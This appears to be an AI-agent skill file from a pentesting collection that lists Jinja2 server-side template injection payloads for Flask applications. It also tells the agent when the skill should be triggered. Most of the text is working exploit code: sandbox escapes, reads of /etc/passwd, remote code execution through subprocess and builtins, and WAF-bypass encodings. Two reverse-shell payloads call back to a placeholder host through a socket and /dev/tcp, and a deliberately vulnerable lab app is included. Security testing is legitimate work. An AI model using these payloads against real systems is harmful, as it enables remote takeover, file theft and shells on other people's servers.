Hacktricks-skills jinja2-ssti
Generate Jinja2 Server-Side Template Injection (SSTI) payloads and bypass techniques for web application security testing. Use this skill whenever you need to test for template injection vulnerabilities in Flask/Jinja2 applications, generate RCE payloads, bypass WAF filters, or enumerate template sandbox escapes. Trigger this skill for any web pentesting task involving Python templating engines, Flask applications, or when you suspect SSTI vulnerabilities.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/ssti-server-side-template-injection/jinja2-ssti/SKILL.MDJinja2 SSTI Testing Skill
A comprehensive guide for testing Jinja2 Server-Side Template Injection vulnerabilities in web applications.
When to Use This Skill
Use this skill when:
- Testing Flask applications for template injection vulnerabilities
- Needing to generate SSTI payloads for security assessments
- Attempting to escape Jinja2 sandbox restrictions
- Bypassing WAF filters on template injection points
- Enumerating available objects in a template context
- Converting SSTI to RCE (Remote Code Execution)
Quick Start
1. Identify SSTI Vulnerability
Test for SSTI with basic payloads:
# Basic detection {{7*7}} {{7*7}} {{config}} {{request}} {% debug %}
If the application renders these as
49 or shows object data, SSTI is likely present.
2. Access Global Objects
These objects are always accessible from the sandboxed environment:
[] '' () dict config request
3. Escape the Sandbox
Recover
<class 'object'> to access __subclasses__():
# Access class object [].__class__ ''.__class__ request.__class__ config.__class__ dict # Access object class dict.__base__ dict.mro()[-1] (dict|attr("__mro__"))[-1] # Call __subclasses__() {{ dict.__base__.__subclasses__() }} {{ dict.mro()[-1].__subclasses__() }} {{ (dict.mro()[-1]|attr("__subclasses__"))() }}
4. Read Files
# File class is typically at index 40 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/flag.txt').read() }}
5. Execute Commands (RCE)
# subprocess.Popen is typically at index 396 {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} # Without guessing class index - iterate through subclasses {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %} # Reverse shell {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'" ).read()}}{%endif%}{% endfor %}
Filter Bypasses
Access Attributes Without Special Characters
# Without quotes, _, [, ] request.__class__ request["__class__"] request['\x5f\x5fclass\x5f\x5f'] request|attr("__class__") request|attr(["_"*2, "class", "_"*2]|join) # Using request object options request|attr(request.headers.c) # Send header: c: __class__ request|attr(request.args.c) # Send param: ?c=__class__ request|attr(request.query_string[2:16].decode()) # Format string from params http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
Avoid HTML Encoding
# Default HTML encoding {{'<script>alert(1);</script>'}} # Becomes: <script>alert(1);</script> # Use safe filter {{'<script>alert(1);</script>'|safe}} # Becomes: <script>alert(1);</script>
RCE Without <class 'object'>
<class 'object'>Access
__globals__.__builtins__ from function objects:
# Find functions in global objects {{ request.__class__.__dict__ }} {{ config.__class__.__dict__ }} # Read file via builtins {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }} # RCE via builtins {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }} {{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} # Using import_string {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
Advanced Bypasses
Without {{
.
[
]
}}
_
{{.[]}}_{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
Evil Config File Technique
# Write evil config {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # Load the config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # Execute command {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Testing Workflow
- Detection: Test with
or{{7*7}}{% debug %} - Enumeration: Dump
or{{ config }}{% for key, value in config.items() %}{{ key }}: {{ value }}{% endfor %} - Sandbox Escape: Use
__class__.__mro__[-1].__subclasses__() - File Access: Find File class (index ~40) and read/write
- RCE: Find subprocess.Popen (index ~396) or use
__builtins__ - Bypass: Apply filter bypasses if WAF is present
Tools
- Fenjing: Automated SSTI testing tool
python -m fenjing scan --url 'http://target/' python -m fenjing crack --url 'http://target/' --method GET --inputs name
References
Lab Environment
Test your payloads against this vulnerable Flask app:
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route("/") def home(): if request.args.get('c'): return render_template_string(request.args.get('c')) else: return "Hello, send something inside the param 'c'!" if __name__ == "__main__": app.run()
Run locally and test:
curl "http://localhost:5000/?c={{7*7}}"